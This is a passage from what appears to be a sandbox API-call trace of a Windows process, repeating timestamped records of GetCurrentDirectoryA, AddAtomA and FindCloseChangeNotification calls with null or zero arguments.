nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.596] AddAtomA (lpString=0x0) returned 0x0 [0053.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.596] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.596] AddAtomA (lpString=0x0) returned 0x0 [0053.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.596] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.596] AddAtomA (lpString=0x0) returned 0x0 [0053.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.596] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.596] AddAtomA (lpString=0x0) returned 0x0 [0053.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.596] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.596] AddAtomA (lpString=0x0) returned 0x0 [0053.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.596] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.596] AddAtomA (lpString=0x0) returned 0x0 [0053.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.596] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.596] AddAtomA (lpString=0x0) returned 0x0 [0053.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.596] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.596] AddAtomA (lpString=0x0) returned 0x0 [0053.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.596] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.596] AddAtomA (lpString=0x0) returned 0x0 [0053.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.596] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.596] AddAtomA (lpString=0x0) returned 0x0 [0053.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.596] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.596] AddAtomA (lpString=0x0) returned 0x0 [0053.596] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.597] AddAtomA (lpString=0x0) returned 0x0 [0053.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.597] AddAtomA (lpString=0x0) returned 0x0 [0053.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.597] AddAtomA (lpString=0x0) returned 0x0 [0053.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.597] AddAtomA (lpString=0x0) returned 0x0 [0053.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.597] AddAtomA (lpString=0x0) returned 0x0 [0053.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.597] AddAtomA (lpString=0x0) returned 0x0 [0053.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.597] AddAtomA (lpString=0x0) returned 0x0 [0053.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.597] AddAtomA (lpString=0x0) returned 0x0 [0053.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.597] AddAtomA (lpString=0x0) returned 0x0 [0053.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.597] AddAtomA (lpString=0x0) returned 0x0 [0053.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.597] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.597] AddAtomA (lpString=0x0) returned 0x0 [0053.597] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.598] AddAtomA (lpString=0x0) returned 0x0 [0053.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.598] AddAtomA (lpString=0x0) returned 0x0 [0053.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.598] AddAtomA (lpString=0x0) returned 0x0 [0053.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.598] AddAtomA (lpString=0x0) returned 0x0 [0053.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.598] AddAtomA (lpString=0x0) returned 0x0 [0053.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.598] AddAtomA (lpString=0x0) returned 0x0 [0053.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.598] AddAtomA (lpString=0x0) returned 0x0 [0053.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.598] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.598] AddAtomA (lpString=0x0) returned 0x0 [0053.598] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.599] AddAtomA (lpString=0x0) returned 0x0 [0053.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.599] AddAtomA (lpString=0x0) returned 0x0 [0053.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.599] AddAtomA (lpString=0x0) returned 0x0 [0053.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.599] AddAtomA (lpString=0x0) returned 0x0 [0053.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.599] AddAtomA (lpString=0x0) returned 0x0 [0053.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.599] AddAtomA (lpString=0x0) returned 0x0 [0053.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.599] AddAtomA (lpString=0x0) returned 0x0 [0053.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.599] AddAtomA (lpString=0x0) returned 0x0 [0053.599] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.599] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.600] AddAtomA (lpString=0x0) returned 0x0 [0053.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.600] AddAtomA (lpString=0x0) returned 0x0 [0053.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.600] AddAtomA (lpString=0x0) returned 0x0 [0053.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.600] AddAtomA (lpString=0x0) returned 0x0 [0053.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.600] AddAtomA (lpString=0x0) returned 0x0 [0053.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.600] AddAtomA (lpString=0x0) returned 0x0 [0053.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.600] AddAtomA (lpString=0x0) returned 0x0 [0053.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.600] AddAtomA (lpString=0x0) returned 0x0 [0053.600] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.600] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.600] AddAtomA (lpString=0x0) returned 0x0 [0053.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.601] AddAtomA (lpString=0x0) returned 0x0 [0053.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.601] AddAtomA (lpString=0x0) returned 0x0 [0053.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.601] AddAtomA (lpString=0x0) returned 0x0 [0053.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.601] AddAtomA (lpString=0x0) returned 0x0 [0053.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.601] AddAtomA (lpString=0x0) returned 0x0 [0053.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.601] AddAtomA (lpString=0x0) returned 0x0 [0053.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.601] AddAtomA (lpString=0x0) returned 0x0 [0053.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.601] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.601] AddAtomA (lpString=0x0) returned 0x0 [0053.601] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.602] AddAtomA (lpString=0x0) returned 0x0 [0053.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.602] AddAtomA (lpString=0x0) returned 0x0 [0053.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.602] AddAtomA (lpString=0x0) returned 0x0 [0053.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.602] AddAtomA (lpString=0x0) returned 0x0 [0053.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.602] AddAtomA (lpString=0x0) returned 0x0 [0053.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.602] AddAtomA (lpString=0x0) returned 0x0 [0053.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.602] AddAtomA (lpString=0x0) returned 0x0 [0053.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.602] AddAtomA (lpString=0x0) returned 0x0 [0053.602] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.602] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.603] AddAtomA (lpString=0x0) returned 0x0 [0053.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.603] AddAtomA (lpString=0x0) returned 0x0 [0053.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.603] AddAtomA (lpString=0x0) returned 0x0 [0053.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.603] AddAtomA (lpString=0x0) returned 0x0 [0053.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.603] AddAtomA (lpString=0x0) returned 0x0 [0053.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.603] AddAtomA (lpString=0x0) returned 0x0 [0053.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.603] AddAtomA (lpString=0x0) returned 0x0 [0053.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.603] AddAtomA (lpString=0x0) returned 0x0 [0053.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.603] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.603] AddAtomA (lpString=0x0) returned 0x0 [0053.603] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.604] AddAtomA (lpString=0x0) returned 0x0 [0053.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.604] AddAtomA (lpString=0x0) returned 0x0 [0053.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.604] AddAtomA (lpString=0x0) returned 0x0 [0053.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.604] AddAtomA (lpString=0x0) returned 0x0 [0053.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.604] AddAtomA (lpString=0x0) returned 0x0 [0053.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.604] AddAtomA (lpString=0x0) returned 0x0 [0053.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.604] AddAtomA (lpString=0x0) returned 0x0 [0053.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.604] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.604] AddAtomA (lpString=0x0) returned 0x0 [0053.604] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.605] AddAtomA (lpString=0x0) returned 0x0 [0053.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.605] AddAtomA (lpString=0x0) returned 0x0 [0053.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.605] AddAtomA (lpString=0x0) returned 0x0 [0053.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.605] AddAtomA (lpString=0x0) returned 0x0 [0053.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.605] AddAtomA (lpString=0x0) returned 0x0 [0053.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.605] AddAtomA (lpString=0x0) returned 0x0 [0053.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.605] AddAtomA (lpString=0x0) returned 0x0 [0053.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.605] AddAtomA (lpString=0x0) returned 0x0 [0053.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.606] AddAtomA (lpString=0x0) returned 0x0 [0053.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.606] AddAtomA (lpString=0x0) returned 0x0 [0053.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.606] AddAtomA (lpString=0x0) returned 0x0 [0053.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.606] AddAtomA (lpString=0x0) returned 0x0 [0053.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.606] AddAtomA (lpString=0x0) returned 0x0 [0053.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.606] AddAtomA (lpString=0x0) returned 0x0 [0053.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.606] AddAtomA (lpString=0x0) returned 0x0 [0053.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.606] AddAtomA (lpString=0x0) returned 0x0 [0053.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.607] AddAtomA (lpString=0x0) returned 0x0 [0053.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.607] AddAtomA (lpString=0x0) returned 0x0 [0053.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.607] AddAtomA (lpString=0x0) returned 0x0 [0053.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.607] AddAtomA (lpString=0x0) returned 0x0 [0053.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.607] AddAtomA (lpString=0x0) returned 0x0 [0053.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.607] AddAtomA (lpString=0x0) returned 0x0 [0053.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.607] AddAtomA (lpString=0x0) returned 0x0 [0053.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.607] AddAtomA (lpString=0x0) returned 0x0 [0053.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.607] AddAtomA (lpString=0x0) returned 0x0 [0053.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.607] AddAtomA (lpString=0x0) returned 0x0 [0053.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.608] AddAtomA (lpString=0x0) returned 0x0 [0053.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.608] AddAtomA (lpString=0x0) returned 0x0 [0053.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.608] AddAtomA (lpString=0x0) returned 0x0 [0053.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.608] AddAtomA (lpString=0x0) returned 0x0 [0053.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.608] AddAtomA (lpString=0x0) returned 0x0 [0053.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.608] AddAtomA (lpString=0x0) returned 0x0 [0053.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.608] 